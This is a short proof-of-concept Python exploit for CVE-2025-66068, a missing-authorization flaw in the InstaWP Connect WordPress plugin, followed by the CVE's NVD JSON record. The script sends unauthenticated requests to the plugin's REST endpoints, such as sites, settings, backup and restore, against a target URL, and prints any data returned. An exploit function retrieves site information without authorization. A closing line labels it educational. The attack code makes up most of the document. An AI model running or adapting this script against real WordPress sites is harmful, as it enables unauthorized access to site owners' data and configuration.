CVE-2025-66068

# CVE-2025-66068 PoC - InstaWP Connect Missing Authorization # Affected versions: <= 0.1.1.9 # Vulnerability: Missing Authorization / Broken Access Control import requests import json TARGET_URL = "https://target-site.com" # Replace with target URL API_ENDPOINT = "/wp-json/instawp/v1/" # InstaWP Connect API endpoint def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-66068 """ # Try to access sensitive endpoint without authentication headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Common sensitive endpoints that might be accessible sensitive_endpoints = [ "/sites", "/settings", "/connections", "/sync", "/backup", "/restore" ] for endpoint in sensitive_endpoints: url = f"{TARGET_URL}{API_ENDPOINT}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) # If we get a successful response (not 401/403), vulnerability exists if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} - No authorization required!") print(f" Response: {response.text[:200]}") elif response.status_code == 403: print(f"[-] Protected: {endpoint} - Access denied") else: print(f"[*] Status {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") def exploit_vulnerability(): """ Exploit the missing authorization vulnerability """ # Example: Try to get site information without auth url = f"{TARGET_URL}{API_ENDPOINT}sites" headers = { "Content-Type": "application/json" } try: # No authentication headers - testing if auth is required response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful - Retrieved data without authorization!") print(f"Data: {json.dumps(response.json(), indent=2)}") return True else: print(f"[-] Exploit failed - Status: {response.status_code}") return False except Exception as e: print(f"[!] Exploit error: {e}") return False if __name__ == "__main__": print("CVE-2025-66068 PoC - InstaWP Connect Missing Authorization") print("=" * 60) check_vulnerability() print("\n[*] Note: This PoC is for educational purposes only.")

{"cve": {"id": "CVE-2025-66068", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:15.153", "lastModified": "2026-04-27T18:16:32.927", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in InstaWP InstaWP Connect instawp-connect allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects InstaWP Connect: from n/a through <= 0.1.1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/instawp-connect/vulnerability/wordpress-instawp-connect-plugin-0-1-1-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}